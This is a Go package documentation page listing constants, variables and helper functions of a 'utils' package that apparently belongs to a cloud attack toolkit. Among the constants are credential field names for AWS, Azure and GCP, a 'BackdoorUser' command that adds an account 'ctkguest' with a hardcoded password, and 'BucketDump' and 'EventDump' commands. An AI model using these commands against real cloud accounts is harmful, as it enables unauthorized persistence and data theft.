utils

package
v0.0.9 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jul 3, 2023 License: MIT Imports: 7 Imported by: 0

Documentation

Index

Constants

View Source
const (
	Provider      = "provider"
	Payload       = "payload"
	AccessKey     = "accesskey"
	SecretKey     = "secretkey"
	SecurityToken = "token"
	Region        = "region"
	Version       = "version"
	Save          = "save"
)
View Source
const (
	AzureClientId       = "clientId"
	AzureClientSecret   = "clientSecret"
	AzureTenantId       = "tenantId"
	AzureSubscriptionId = "subscriptionId"
)
View Source
const (
	Metadata     = "metadata"
	BackdoorUser = "add ctkguest 1QAZ2wsx@"
	BucketDump   = "list all"
	EventDump    = "dump all"
)
View Source
const (
	GCPserviceAccountJSON = "base64Json"
)

Variables

View Source
var (
	DoSave bool
	LogDir = "logs"
	IpInfo = "https://ipinfo.io/ip"
)

Functions

func CheckLogDir added in v0.0.9

func CheckLogDir()

func HttpGet added in v0.0.9

func HttpGet(url string) ([]byte, error)

func Md5Encode added in v0.0.3

func Md5Encode(s string) string

func ParseCmd

func ParseCmd(s string) (cmd string, args []string)

Types

This section is empty.

Directories

Path Synopsis
Package table produces a string that represents slice of structs data in a text table
Package table produces a string that represents slice of structs data in a text table

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL